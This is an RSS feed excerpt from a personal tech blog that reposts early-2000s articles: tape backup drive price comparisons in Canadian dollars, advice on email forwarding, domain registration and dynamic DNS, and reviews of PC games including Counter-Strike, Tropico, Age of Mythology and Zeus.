<td>4.2</td>
<td align="right">300</td>
<td align="right">55</td>
<td align="right">1100</td>
<td align="right">1400</td>
</tr>
<tr>
<td height="17">Travan NS20</td>
<td>20</td>
<td>7.2</td>
<td align="right">520</td>
<td align="right">74</td>
<td align="right">1480</td>
<td align="right">2000</td>
</tr>
<tr>
<td height="17">DLT-4</td>
<td>40</td>
<td>10.8</td>
<td align="right">2850</td>
<td align="right">140</td>
<td align="right">2800</td>
<td align="right">5650</td>
</tr>
<tr>
<td height="17">DLT-5</td>
<td>80</td>
<td>43.2</td>
<td align="right">6500</td>
<td align="right">140</td>
<td align="right">2800</td>
<td align="right">9300</td>
</tr>
<tr>
<td height="17">AIT-1</td>
<td>70</td>
<td>21.6</td>
<td align="right">2425</td>
<td align="right">125</td>
<td align="right">2500</td>
<td align="right">4925</td>
</tr>
<tr>
<td height="17">AIT-2</td>
<td>100</td>
<td>56.6</td>
<td align="right">5025</td>
<td align="right">175</td>
<td align="right">3500</td>
<td align="right">8525</td>
</tr>
<tr>
<td height="17">ADR</td>
<td>30</td>
<td>7.2</td>
<td align="right">720</td>
<td align="right">70</td>
<td align="right">1400</td>
<td align="right">2120</td>
</tr>
<tr>
<td height="17">ADR</td>
<td>50</td>
<td>14.4</td>
<td align="right">1200</td>
<td align="right">85</td>
<td align="right">1700</td>
<td align="right">2900</td>
</tr>
<tr>
<td height="17">SLR24</td>
<td>24</td>
<td>8.6</td>
<td align="right">1650</td>
<td align="right">70</td>
<td align="right">1400</td>
<td align="right">3050</td>
</tr>
<tr>
<td height="17">SLR60</td>
<td>60</td>
<td>28.8</td>
<td align="right">1700</td>
<td align="right">100</td>
<td align="right">2000</td>
<td align="right">3700</td>
</tr>
<tr>
<td height="17">SLR100</td>
<td>100</td>
<td>36</td>
<td align="right">3250</td>
<td align="right">130</td>
<td align="right">2600</td>
<td align="right">5850</td>
</tr>
<tr>
<td height="17">Mammoth LT</td>
<td>28</td>
<td>7.2</td>
<td align="right">1925</td>
<td align="right">60</td>
<td align="right">1200</td>
<td align="right">3125</td>
</tr>
<tr>
<td height="17">Mammoth</td>
<td>40</td>
<td>10.8</td>
<td align="right">3500</td>
<td align="right">95</td>
<td align="right">1900</td>
<td align="right">5400</td>
</tr>
<tr>
<td height="17">Mammoth2</td>
<td>150</td>
<td>43.2</td>
<td align="right">6750</td>
<td align="right">135</td>
<td align="right">2700</td>
<td align="right">9450</td>
</tr>
<tr>
<td height="17">VXA-1</td>
<td>66</td>
<td>21.6</td>
<td align="right">1375</td>
<td align="right">120</td>
<td align="right">2400</td>
<td align="right">3775</td>
</tr>
<tr>
<td height="17"></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td height="17">Notes:</td>
<td colspan="3">Drives listed are internal SCSI models.</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td height="17"></td>
<td colspan="5">Capacity is assuming a 2:1 or better compression ratio.</td>
<td></td>
</tr>
<tr>
<td height="17"></td>
<td colspan="3">Transfer rates are with compression.</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td height="17"></td>
<td colspan="6">Prices are listed in Canadian dollars, compiled from various resellers.</td>
</tr>
</tbody>
</table>
<p style="text-align: justify;">A comment on the prices; it is noted that all costs listed are in Canadian dollars. This is a Canadian site, and proud of it. To determine cost in U.S. dollars, multiply the Canadian cost by 65% or calculate ( cost*0.65).</p>
<p style="text-align: justify;">The big question to ask yourself is how large a tape drive to get. If you have twenty staff members, each will probably have 100 – 200 MB of files on the server. That equals 40 GB of data that needs to be backed up, so you’ll need a drive that holds that or more. Of course this is an extreme example; most people on my network have less than 20 MB on their network share. Again I recommend using the tape drive for backing up work files only; use RAID to back up the operating system and applications, which should be on a separate hard drive anyway.</p>
<p style="text-align: justify;">It’s important to keep in mind that most tape solutions are SCSI based; while IEEE 1394 and USB are making promising gains, the server market is still SCSI. I love to recommend IDE RAID solutions because of the price, but IDE tape solutions max out at 20 GB with NS20 or 30 GB with ADR. One other point: external drives are available for about $300 more, and offer an easy way to add tape storage to your server.</p>
<p style="text-align: justify;">Once you’ve decided to make the leap to tape backup, there’s one more important choice: autoloading. This is a tape drive that accepts a number of tapes and loads a new one each day. Very convenient, but like all things costs more. Here’s a quick comparison: an HP DDS-4 drive is $2000, while an HP DDS-4 drive autoloading 6 tapes costs $3200. That’s five days of data backup plus a cleaning tape. It’s all a question of budget and time; will you remember to put a new tape in each day?</p>
<p style="text-align: justify;">Based on the needs of a small network of fifty people or less I can safely recommend a DAT DDS-4 drive. 40 GB is a lot of space for files, and DDS-4 is a lot cheaper with 20 tapes than AIT, DLT or Mammoth. The VXA and ADR technologies are interesting and seem priced right, but tied to one manufacturer. DAT drives are universally accepted, media is readily available and it’s a price performance killer.</p>
<p style="text-align: justify;">All this talk of tape drives came because of my companies need to purchase a new drive; our Exabyte 8mm 8 GB drive died three years into service. Look for a review of the <a href="http://tech.ebabble.net/hp-surestore-dat40">HP SureStore DAT40</a> External next month.</p>
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		<title>Email &amp; Web Addressing</title>
		<link>http://tech.ebabble.net/email-web-addressing</link>
		<comments>http://tech.ebabble.net/email-web-addressing#comments</comments>
		<pubDate>Wed, 05 Oct 2011 13:08:31 +0000</pubDate>
		<dc:creator>Scott VanderPloeg</dc:creator>
				<category><![CDATA[Technology]]></category>
		<category><![CDATA[DDNS]]></category>
		<category><![CDATA[email]]></category>
		<category><![CDATA[hosting]]></category>

		<guid isPermaLink="false">http://www.ebabble.net/?p=2308</guid>
		<description><![CDATA[Blast from the past: originally published November 23rd 2001.

What do you do when your ISP goes out of business, or changes it’s name? Both events have occurred in the Hamilton, Ontario area recently where I live, and have affected a large number of people. Everyone know about the demise of @Home, so local cable operators have changed their service to a rogers.ca or cogeco.ca naming. As well Hamilton’s Icom suddenly closed up shop. They’ve been around since 1991 when I set up my first dial up account. Now a slew of people have email addresses ...]]></description>
			<content:encoded><![CDATA[<p><em>Blast from the past: originally published November 23rd 2001.</em></p>
<div id="Text388LYR">
<p style="text-align: justify;">What do you do when your ISP goes out of business, or changes it’s name? Both events have occurred in the Hamilton, Ontario area recently where I live, and have affected a large number of people. Everyone know about the demise of @Home, so local cable operators have changed their service to a rogers.ca or cogeco.ca naming. As well Hamilton’s Icom suddenly closed up shop. They’ve been around since 1991 when I set up my first dial up account. Now a slew of people have email addresses that go nowhere and websites that give the dreaded “404 not found” error.</p>
<p style="text-align: justify;">Unfortunately hindsight is 20/20 and it’s too late for those people, but with an ounce of prevention we can make sure the same thing never happens again. Let’s look at how we can make sure our email address and website stay with us for the long haul.</p>
<p style="text-align: justify;">The proliferation of email as a means of communication is staggering. Almost everyone has an email address, and give it out on a regular basis. We’ll look at two ways to keep a “mostly” permanent address: email and web forwarding and domain registration and hosting.</p>
<p style="text-align: justify;"><a href="http://www.ebabble.net/wp-content/uploads/Email.gif" rel="lightbox[2308]"><img class="aligncenter size-medium wp-image-2309" title="Email" src="http://www.ebabble.net/wp-content/uploads/Email-282x300.gif" alt="" width="282" height="300" /></a></p>
<p style="text-align: justify;">Email forwarding is a great service provided by quite a few web email providers. We’re all familiar with Hotmail and Yahoo, the two largest web based email providers. You sign onto their website from anywhere in the world and have instant access to your email. This is great, but I find that my Hotmail and to a lesser extent my Yahoo account fill up with junk mail at an alarming rate. Email forwarding takes the concept of web mail one step farther by allowing you to give a forwarding address and have all mail sent there automatically. My two favourite services are <a href="http://www.email.com/" target="_blank">www.email.com</a> and <a href="http://www.canada.com/" target="_blank">www.canada.com</a>; both were dead easy to set up and had my forwarding working instantly. An example may be in order: you sign up online for free with a new account at email.com and pick buddy@email.com as your email. Your home email address is buddy@rogers.ca, so you set buddy@rogers.ca as your forwarding address. Any piece of email that’s sent to buddy@email.com is automatically forwarded to you at buddy@rogers.ca. Say you move in a year and there’s no Rogers at the new place, only Cogeco cable. Your email address at your new house is buddy@cogeco.ca, so you go to www.email.com and change the forwarding address to buddy@cogeco.ca. There’s no interruption for you and no one has to change their address book.</p>
<p style="text-align: justify;">Probably the best method of ensuring a lasting email and web address is to register the URL. Once you’ve registered a name you select a web hosting company to handle your web site and email forwarding. Both tasks can be done by <a href="http://www.lynxcanada.com/" target="_blank">www.lynxcanada.com</a> and <a href="http://www.easyhosting.com/" target="_blank">www.easyhosting.com</a>. The only drawbacks are getting a good name and then paying for it and web hosting every year. Let me illustrate; I’ve registered the URL ebabble.net. I wanted ebabble.com, but it was taken. Now I pay annually to keep the name ebabble.net registered. As well my web site is hosted at <a href="http://www.lynxcanada.com/" target="_blank">Lynx Canada</a>, so I’m provided space and mail forwarding. My email address is @ebabble.net, but anything send there gets forwarded to my account with my ISP. Of course since I am the registrar of ebabble.net, I can move it to any provider I want, and the address stays with me. There are free web hosting and forwarding companies available, but since nothing in life is free they do different things to your site.</p>
<p style="text-align: justify;">An alternative to paying for a web hosting service is signing up with a dynamic DNS service. This is best for users who have high speed internet access and want to run a server at home but don’t have a permanent IP address. DNS stands for domain name service and represents the backbone of the internet. When you sign up for a URL, you list the DNS servers where your URL will be found. Lynx Canada’s DNS server lists www.ebabble.net and the IP address they assigned it to. That DNS information is shared with other public DNS servers around the world. Every URL you type has an IP address associated with it. To see for yourself, open the Command Prompt and type: ping Microsoft.com; the result shows the name and IP address. Since high speed users IP addresses change, you need a service that can handle the changes for you. One great choice is <a href="http://www.dyndns.org/" target="_blank">www.dyndns.org</a>, which offers free and paid service. You sign up with them, then load a small utility on you PC. When your IP changes, the utility sends the change to dyndns.org and their DNS server is updated.</p>
<p style="text-align: justify;">You could easily set up a home web and email server for free by using an old computer. Sign up for a free account with dyndns.org; free accounts use the URL xxx.dyndns.org, where xxx is the name you want. Download and install Mitel SME Server 5, which is a free full featured Linux server and takes advantage of dyndns.org. Set up email accounts and a web site for you and everyone in your family. Now you’re responsible for a web site and email without paying a dime. To make this set up complete, register a URL and pay dyndns.org a one time fee for handling it. Check out the different web sites for detailed FAQs ( frequently asked questions ) and how-to’s. Of course this is against most ISP regulations, so proceed at your own risk.</p>
<p style="text-align: justify;">Lots of options available from the simple web based email forwarding to running your own mail server. A little time is all it takes.</p>
</div>
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		<title>Counter-Strike</title>
		<link>http://tech.ebabble.net/counter-strike</link>
		<comments>http://tech.ebabble.net/counter-strike#comments</comments>
		<pubDate>Wed, 28 Sep 2011 13:08:50 +0000</pubDate>
		<dc:creator>Scott VanderPloeg</dc:creator>
				<category><![CDATA[Technology]]></category>
		<category><![CDATA[game]]></category>
		<category><![CDATA[Half-Life]]></category>
		<category><![CDATA[PC]]></category>
		<category><![CDATA[Sierra]]></category>

		<guid isPermaLink="false">http://www.ebabble.net/?p=2304</guid>
		<description><![CDATA[Blast from the past: originally published April 3rd 2001.

There’s only one way to describe Counter Strike; a PC phenomenon.  For those few who haven’t heard of it, here’s a short history.  Half Life, a first person shooter with an excellent plot and gameplay, was released some two years ago.  With it came the ability to make modifications to the game and make new graphics, sounds and environments, collectively titled “mods” by the gaming community.  The most famous of Half Life’s mods is called Counter Strike, and is a strictly multiplayer ...]]></description>
			<content:encoded><![CDATA[<p><em>Blast from the past: originally published April 3rd 2001.</em></p>
<div id="Text284LYR">
<p style="text-align: justify;">There’s only one way to describe Counter Strike; a PC phenomenon.  For those few who haven’t heard of it, here’s a short history.  Half Life, a first person shooter with an excellent plot and gameplay, was released some two years ago.  With it came the ability to make modifications to the game and make new graphics, sounds and environments, collectively titled “mods” by the gaming community.  The most famous of Half Life’s mods is called Counter Strike, and is a strictly multiplayer game of terrorists versus counter terrorists.  It has become popular enough for Sierra to release a retail version of the game, and at any given time has thousands of players logged into the servers.  I had read about it here and there, but didn’t bother installing my copy until two weeks ago.  Big mistake; now I’m hooked and spend all my free time taking down terrorists with extreme prejudice.</p>
<p><a href="http://www.ebabble.net/wp-content/uploads/cs-1.jpg" rel="lightbox[2304]"><img class="aligncenter size-medium wp-image-2305" title="cs-1" src="http://www.ebabble.net/wp-content/uploads/cs-1-300x225.jpg" alt="" width="300" height="225" /></a></p>
<p style="text-align: justify;">What’s enthralling is that this a complete modification of Half Life; everything from characters, weapons and animation to maps and structures has been changed.  The two main designers have essentially made a new game using free tools.  Using an existing game engine is common, but normally involves licensing and fees; by using the freely available mod tools and putting in a lot of work the “normal” route was circumvented.</p>
<p style="text-align: justify;">The gameplay concept is so simple as to be completely addictive.  Logging into a server gives you a choice of terrorist or counter terrorist, and one of four groups within those.  These are really just to give a variety of looks for the two groups and doesn’t affect gameplay; it’s good guys versus bad guys.  Once in the game and depending on the map there are two possible goals; terrorists plant a bomb and detonate or counter terrorists rescue hostages.  That’s about it; go through the game killing the enemy and accomplishing your goal.</p>
<p><a href="http://www.ebabble.net/wp-content/uploads/cs-2.jpg" rel="lightbox[2304]"><img class="aligncenter size-medium wp-image-2306" title="cs-2" src="http://www.ebabble.net/wp-content/uploads/cs-2-300x225.jpg" alt="" width="300" height="225" /></a></p>
<p style="text-align: justify;">There is a choice of equipment available, divided into five groups: pistols, sub machine guns, rifles, machine guns and equipment.  <a href="http://www.firingsquad.com/" target="_blank">Firing Squad</a> has recently posted an excellent guide to the weapons of Counter Strike, and I advise to give that a good read.  Items are purchased from money acquired by completing missions and getting kills; if you keep getting killed early every time you won’t build up any cash.  Each weapon has advantages and disadvantages, so you’ll find yourself trying all of them out and then sticking with one or two. I find myself using the Colt 5.56mm automatic rifle with silencer most of the time, as I enjoy the muffled shots and stealth aspect of it.</p>
<p style="text-align: justify;">Aside from the stunning graphics and rapid gameplay, the appeal of Counter Strike is the brevity of missions and the ability to jump right in.  Missions last around four minutes each, or until everyone is dead. If you’ve got 20 minutes to kill you log in, play five games and leave.  The entire game is about fast action and quick reflexes; it gets you going.</p>
<p style="text-align: justify;">There are two ways to get Counter Strike; buy the retail version or buy a copy of Half Life and download the Counter Strike mod.  Either way it’s a great investment and a great waste of time.</p>
</div>
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		<title>Tropico</title>
		<link>http://tech.ebabble.net/tropico</link>
		<comments>http://tech.ebabble.net/tropico#comments</comments>
		<pubDate>Wed, 21 Sep 2011 13:08:55 +0000</pubDate>
		<dc:creator>Scott VanderPloeg</dc:creator>
				<category><![CDATA[Technology]]></category>
		<category><![CDATA[game]]></category>
		<category><![CDATA[Gathering Of Developers]]></category>
		<category><![CDATA[PC]]></category>

		<guid isPermaLink="false">http://www.ebabble.net/?p=2296</guid>
		<description><![CDATA[Blast from the past: originally published August 20th 2001.

Whenever a game comes along with a new spin, you just have to check it out. Just such a title appeared: Tropico from Gathering Of Developers. You are a dictator of a small Caribbean island, and it’s your job to make it what you will. Tropico follows in the vein of “God” games, where you control the infrastructure and watch how it plays out with the inhabitants. The best of this genre has been the Impression’s series, of which Pharaoh was a personal favourite. How does Tropico ...]]></description>
			<content:encoded><![CDATA[<p><em>Blast from the past: originally published August 20th 2001.</em></p>
<div id="Text353LYR">
<p style="text-align: justify;">Whenever a game comes along with a new spin, you just have to check it out. Just such a title appeared: Tropico from Gathering Of Developers. You are a dictator of a small Caribbean island, and it’s your job to make it what you will. Tropico follows in the vein of “God” games, where you control the infrastructure and watch how it plays out with the inhabitants. The best of this genre has been the Impression’s series, of which <a href="../archives/2000_Reviews/2000_Quarter_1/18_February_2000/18_february_2000.html" target="_blank">Pharaoh</a> was a personal favourite. How does Tropico stack up to the competition? Rather than ramble off the features, here’s the scoop direct from the developer, web site.</p>
<p><a href="http://www.ebabble.net/wp-content/uploads/trop_1.jpg" rel="lightbox[2296]"><img class="aligncenter size-medium wp-image-2297" title="trop_1" src="http://www.ebabble.net/wp-content/uploads/trop_1-300x225.jpg" alt="" width="300" height="225" /></a></p>
<p><em>On a tiny island nation in an all but uncharted corner of the Caribbean, your destiny awaits as newly installed dictator of a small island nation. Welcome to Tropico. You must build a path of progress for a country mired in poverty, civil unrest and infighting. After all, from where else will you skim to build your personal fortune?</em></p>
<p><em>Tropico provides you over 85 unique structures, from hotels and spas to stimulate the tourist trade, to rum distilleries and cigar factories to keep the trade deficit in check. You’ll have to keep your quest for personal wealth under control to keep the citizens content with their daily lives. Fail to make them happy and they’ll storm your palace grounds and hang you out to dry with the tobacco leaves!</em></p>
<p><em>PopTop Software has created a graphically stunning building game flavoured with the spice of Latin American political intrigue. Tropico is a challenging gaming experience that will keep you coming back for more. It’s good to be a dictator!</em></p>
<p style="text-align: justify;">Now let’s discuss how well it plays out, looking at graphics, sound and gameplay.</p>
<p><a href="http://www.ebabble.net/wp-content/uploads/trop_2.jpg" rel="lightbox[2296]"><img class="aligncenter size-medium wp-image-2298" title="trop_2" src="http://www.ebabble.net/wp-content/uploads/trop_2-300x225.jpg" alt="" width="300" height="225" /></a></p>
<p style="text-align: justify;">Gameplay is fairly straight forward and follows the genre to the letter. A series of pre-scripted missions can be played or you can determine the map by selecting the environment you want, such as area, difficulties, etc. You place buildings and the inhabitants do their thing; citizens must live close to a building to work there. A bit of a spin there, as buildings don’t produce “walkers” that roam the map, but citizens move from work to home to entertainment, etc. You have a friendly advisor that keeps popping up with important needs that have to be addressed. What I missed was watching building development; once a building is placed and construction completed, it doesn’t change. I enjoyed the construction aspect, but would have liked to see residents decorate their houses or businesses change the exterior a bit.</p>
<p style="text-align: justify;">Your goal in general is to bring a level of development and prosperity to your island. Beginning with a small budget, you develop commerce and trade to finance tourism, expansion and infrastructure. Each piece needs the other to grow, and it’s up to you to keep things meshed. The citizens demand types of lifestyle choices ( diversions ) like entertainment and religion; if it’s not provided you face the consequences. Your advisor lets you know when something is needed.</p>
<p><a href="http://www.ebabble.net/wp-content/uploads/trop_3.jpg" rel="lightbox[2296]"><img class="aligncenter size-medium wp-image-2299" title="trop_3" src="http://www.ebabble.net/wp-content/uploads/trop_3-300x225.jpg" alt="" width="300" height="225" /></a></p>
<p style="text-align: justify;">To make your mark as ruler, key “political” options are made available. You can be benevolent, brutal or somewhere in between. Parks and national holidays or citizens vanishing in the night. Ties with the U.S. or Russia produce their own bonuses and negatives, as do trade negotiations and bribes. Lots of options available to “dictate” as one sees fit.</p>
<p style="text-align: justify;">Graphically, the game is right in line with the genre, equaling Caesar III and Pharaoh.  Detailed buildings and characters make for visual appeal; since the map can be rotated and zoomed, you get a full four sided view of everything on the island with minute detail. The animations are smooth and suit the genre accordingly.</p>
<p style="text-align: justify;">Sound is key in this type of game, as the clatter of citizens and commerce give you a sense of “being there”. Tropico doesn’t disappoint, and made me feel a part of the island. Sound is general as you move across the map, but focused when you select a building.</p>
<p><a href="http://www.ebabble.net/wp-content/uploads/trop_4.jpg" rel="lightbox[2296]"><img class="aligncenter size-medium wp-image-2300" title="trop_4" src="http://www.ebabble.net/wp-content/uploads/trop_4-300x240.jpg" alt="" width="300" height="240" /></a></p>
<p style="text-align: justify;">Bringing it all together we get a well rounded and playable “God” game. While this genre is beginning to feel stale and long in the tooth, Tropico brings enough variety and humour to the table to make it unique. Don’t take my word for it; grab the <a href="http://www.fileplanet.com/index.asp?section=0&amp;file=60534" target="_blank">demo</a> and see for yourself. If you purchase the game, be sure and download the <a href="http://www.poptop.com/Tropico.htm" target="_blank">patch</a> immediately.</p>
</div>
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<p style="text-align: justify;">Tropico provided courtesy of Gathering Of Developers</p>
</div>
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		<title>Age Of Mythology</title>
		<link>http://tech.ebabble.net/age-of-mythology</link>
		<comments>http://tech.ebabble.net/age-of-mythology#comments</comments>
		<pubDate>Wed, 14 Sep 2011 13:08:23 +0000</pubDate>
		<dc:creator>Scott VanderPloeg</dc:creator>
				<category><![CDATA[Technology]]></category>
		<category><![CDATA[game]]></category>
		<category><![CDATA[Microsoft]]></category>
		<category><![CDATA[PC]]></category>

		<guid isPermaLink="false">http://www.ebabble.net/?p=2290</guid>
		<description><![CDATA[Blast from the past: originally published December 30th 2002.
Christmas is almost upon us, so that means our loved ones have to buy us something. They’re looking for dropped hints, circled catalogue pages and the like. For gaming enthusiasts, this is a frightful situation. These best intentioned people will wonder into a computer shop and say “what game should I buy my son/boyfriend/nephew?” And how the salesman will love to dump some piece of crap, assuring the purchaser how every gamer wants this title. Lucky for us Microsoft has launched a major ad campaign this season ...]]></description>
			<content:encoded><![CDATA[<p><em>Blast from the past: originally published December 30th 2002.</em></p>
<p style="text-align: justify;">Christmas is almost upon us, so that means our loved ones have to buy us something. They’re looking for dropped hints, circled catalogue pages and the like. For gaming enthusiasts, this is a frightful situation. These best intentioned people will wonder into a computer shop and say “what game should I buy my son/boyfriend/nephew?” And how the salesman will love to dump some piece of crap, assuring the purchaser how every gamer wants this title. Lucky for us Microsoft has launched a major ad campaign this season for it’s latest PC title, Age Of Mythology.</p>
<p><a href="http://www.ebabble.net/wp-content/uploads/aom_1.jpg" rel="lightbox[2290]"><img class="aligncenter size-medium wp-image-2292" title="aom_1" src="http://www.ebabble.net/wp-content/uploads/aom_1-300x225.jpg" alt="" width="300" height="225" /></a></p>
<p style="text-align: justify;">In case you’ve just slipped out from under your rock, this is the third in a series of real time strategy games developed by Ensemble Studios. Defining real time strategy (RTS)games is simple: you collect material, build a base, pump out troops and massacre your opponent. Troops break down into a rock-paper-scissors scenario, with each unit able to slaughter something, but can also be slaughtered by something else. In the end it’s all about balance. Of course that’s a very simplistic definition, but we do have to appeal to the lowest common denominator.</p>
<p style="text-align: justify;">I’m sure if you play PC games you’ve run across other RTS titles like Age of Empires, Warcraft, Starcraft, Command and Conquer or Dune II. Each one a great game, giving us the same basics but in different settings and backdrops. Whether it’s barbarians, Greeks, orcs or Fremen, there’s nothing like managing your group of people into a fighting force and smashing all who dare oppose you.</p>
<p style="text-align: justify;">Which brings us, finally, to Age Of Mythology (<a href="http://www.ageofmythology.com/">www.ageofmythology.com</a>), or AoM. This time around you’ll command ancient Greeks, Egyptians and Norse to battle an ancient evil and save the world. The single player game weaves a fairly compelling story through 36 missions, progressing through in-game cinematics before and after each mission. It was nice and explained why you as the player was moving around the globe. Of course people play to fight, not to save the world.</p>
<p><a href="http://www.ebabble.net/wp-content/uploads/aom_2.jpg" rel="lightbox[2290]"><img class="aligncenter size-medium wp-image-2293" title="aom_2" src="http://www.ebabble.net/wp-content/uploads/aom_2-300x225.jpg" alt="" width="300" height="225" /></a></p>
<p style="text-align: justify;">AoM differentiates itself from the pack by involving the pantheon of gods that each of these civilizations was known for. During each mission you progress to four different ages, allowing for new units, technologies and powers. To make each player unique you choose of one two different gods for each age. These gods grant unique powers and myth units; mythological creatures that are costly but powerful. A nice twist and definitely a standout feature.</p>
<p style="text-align: justify;">Another “new” item in the RTS field this year is the hero, a very powerful unit that is regenerated on the battlefield ad infinitum. Not enough to sway the game, but helpful early on when you’re getting your butt kicked.</p>
<p style="text-align: justify;">Graphically AoM is very nice. Ensemble Studios has created the game using a 3D engine, allowing for a lot of eye candy. Seaweed moves with the waves, trees look natural, and of course units stand out nicely. Some items are a tad blocky, but that comes from the small sizes and detail required. It didn’t take away from the game at all.</p>
<p style="text-align: justify;">Moving use along to gameplay. Each civilization has completely different units, doing mostly the same thing. Greeks have archers, Egyptians have slingers and Norse have axe men. All of them are a projectile unit, but are varied enough to flesh out the game. The unit balance is great, forcing you to have a variety of troops to counter your opponents. Not like the old days when you built one <em>über mensch</em> and flooded the enemy, a.k.a. the “tank rush”. You know who you are. When you finish the single player game, move on to internet opponents or design your own levels via the mission editor. It’s the game that never ends.</p>
<p><a href="http://www.ebabble.net/wp-content/uploads/aom_3.jpg" rel="lightbox[2290]"><img class="aligncenter size-medium wp-image-2294" title="aom_3" src="http://www.ebabble.net/wp-content/uploads/aom_3-300x225.jpg" alt="" width="300" height="225" /></a></p>
<p style="text-align: justify;">A few problems. The RTS genre really hasn’t changed from Dune II ten years ago. Of course the same could be said for first person shooters like Wolfenstein 3D to Unreal II. I played using Windows XP Professional and my ATI Radeon 8500 video card. Even with the latest drivers I was getting video lockups at random intervals. Annoying, but frequent saves allowed me to finish the title without throwing something.</p>
<p style="text-align: justify;">Let me sum it up: Age Of Mythology is a great game if you like real time strategy titles. Nice graphics, smooth gameplay and enough new items to make it fresh. Don’t take my word for it: download a trial version from the link listed above.</p>
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		<title>Zeus: Master Of Olympus</title>
		<link>http://tech.ebabble.net/zeus-master-of-olympus</link>
		<comments>http://tech.ebabble.net/zeus-master-of-olympus#comments</comments>
		<pubDate>Wed, 07 Sep 2011 13:00:19 +0000</pubDate>
		<dc:creator>Scott VanderPloeg</dc:creator>
				<category><![CDATA[Technology]]></category>
		<category><![CDATA[game]]></category>
		<category><![CDATA[PC]]></category>
		<category><![CDATA[Sierra]]></category>

		<guid isPermaLink="false">http://www.ebabble.net/?p=2286</guid>
		<description><![CDATA[
Blast from the past: originally published October 2000.
A game run that has been near and dear to my heart is the City Building series from Impressions. From Caesar II on I have been an avid fan of building a city, meeting the needs of the citizens and watching everything flourish.  Impressions’ unique concept of having the gamer place the buildings and then watching the people emerge and work the streets has kept me coming back each time. After Caesar 3, Pharaoh and Pharaoh: Cleopatra we see the latest work: Zeus, Master Of ...]]></description>
			<content:encoded><![CDATA[<div id="Text62LYR">
<p><em>Blast from the past: originally published October 2000.</em></p>
<p style="text-align: justify;">A game run that has been near and dear to my heart is the City Building series from Impressions. From Caesar II on I have been an avid fan of building a city, meeting the needs of the citizens and watching everything flourish.  Impressions’ unique concept of having the gamer place the buildings and then watching the people emerge and work the streets has kept me coming back each time. After Caesar 3, Pharaoh and Pharaoh: Cleopatra we see the latest work: Zeus, Master Of Olympus.</p>
<p><a href="http://www.ebabble.net/wp-content/uploads/Zeus_1.jpg" rel="lightbox[2286]"><img class="aligncenter size-medium wp-image-2287" title="Zeus_1" src="http://www.ebabble.net/wp-content/uploads/Zeus_1-300x225.jpg" alt="" width="300" height="225" /></a></p>
<p style="text-align: justify;">What makes Zeus any different from the others?  The obvious choice is the setting of ancient Greece, with direct involvement from the pantheon of Greek gods.  For those not familiar with the series let me elaborate on the basic premises.</p>
<p style="text-align: justify;">You start each level with a goal; so much housing, goods or accomplishments met to complete.  You then move on to the map; early levels are landscape requiring you to build everything.  You start by building houses, roads, water supplies, food production, distribution, maintenance, culture, etc.  Buildings work in two ways; housing draws settlers in, and all other buildings send out a representative to the community.  For housing to develop and draw more people, it has to be passed by various representatives providing goods and services to that house.  For example: the base housing requires food, water, oil, culture, fleece to evolve to it’s highest standing.  But if it’s close to undesirable buildings such as farms, industrial or trading centers then it won’t fully develop.  You make money by trading goods with other cities, so you have to produce excess goods to trade.  This requires more workers, which you’ll get by improving housing.  Housing is improved by goods and services, requiring more industry and trade.  And so the circle of life goes on, presenting many challenges and a lot of fun.</p>
<p><a href="http://www.ebabble.net/wp-content/uploads/Zeus_2.jpg" rel="lightbox[2286]"><img class="aligncenter size-medium wp-image-2288" title="Zeus_2" src="http://www.ebabble.net/wp-content/uploads/Zeus_2-300x260.jpg" alt="" width="300" height="260" /></a></p>
<p style="text-align: justify;">This is the same for all of Impression’s Building series, so if you like to sound of it pick up some of the older titles in the bargain bins.  Zeus expands upon the genre by having direct involvement with the gods; you must build temples to the gods, and then they come to walk the city streets. They then provide benefits; Ares goes with you to war, Aphrodite increases housing.  Hero halls are also built to summon Hercules or Jason to slay creatures on your map.  Both of these buildings require a lot of resources which must be stockpiled before you can summon your chosen deity.</p>
<p style="text-align: justify;">Another addition is the ability to keep other cities as vassals and receive annual tribute.  The world map shows various city states that you trade with; you can spy, send an army or wrangle tribute from your neighbours.</p>
<p style="text-align: justify;">Restrictions on housing evolution have been loosened as well; now two classes of housing are available, base and upper class.  This provides two benefits; each class of housing now doesn’t have to take so long to reach their peak, and can’t fall so fast when things get rocky in the city. I’ve found that each successive game from Impressions has relaxed the rules of placement, distribution and evolution of structures to give more enjoyment to the gamer.</p>
<p style="text-align: justify;">Along with farms and fishing wharves, sheep and goat herding is provided as a food source.  The animation has a more cartoony feel, and everything about the game is more light hearted.  The sounds of city life are excellent, and the music stays in the background.</p>
<p style="text-align: justify;">A winning strategy for improving the series, but I get the feel as I play through it that Impressions’ run on building empires should come to an end.  Even with the boatload of changes, you’re still going through the same motions of build, monitor and advance.</p>
</div>
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<p style="text-align: justify;">Zeus: Master Of Olympus provided courtesy of Sierra.</p>
</div>
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		<title>Brother P-Touch Endurance Testing</title>
		<link>http://tech.ebabble.net/brother-p-touch-endurance-testing</link>
		<comments>http://tech.ebabble.net/brother-p-touch-endurance-testing#comments</comments>
		<pubDate>Wed, 31 Aug 2011 18:40:33 +0000</pubDate>
		<dc:creator>Scott VanderPloeg</dc:creator>
				<category><![CDATA[Headline]]></category>
		<category><![CDATA[Technology]]></category>
		<category><![CDATA[Brother]]></category>
		<category><![CDATA[label]]></category>
		<category><![CDATA[P-Touch]]></category>

		<guid isPermaLink="false">http://www.ebabble.net/?p=2383</guid>
		<description><![CDATA[I have the good fortune to take part in a Brother P-Touch blogging promotion.  I&#8217;ll be writing three posts over the next few months chronicling my experience with Brother and its labels.  To start if off they sent this product challenge kit:

It&#8217;s an interesting mix of products: a piece of plexiglass with a label affixed, sponge, scrub brush, powdered bleach, nail polish remover, and two extra labels.  If this was designed to test the labels then what&#8217;s important in a label?  I&#8217;d say two things: it stays on whatever you ...]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;">I have the good fortune to take part in a Brother P-Touch blogging promotion.  I&#8217;ll be writing three posts over the next few months chronicling my experience with Brother and its labels.  To start if off they sent this product challenge kit:</p>
<p style="text-align: center;"><a href="http://www.ebabble.net/wp-content/uploads/P-Touch_Kit.jpg" rel="lightbox[2383]"><img class="size-medium wp-image-2384 aligncenter" title="P-Touch_Kit" src="http://www.ebabble.net/wp-content/uploads/P-Touch_Kit-300x225.jpg" alt="" width="300" height="225" /></a></p>
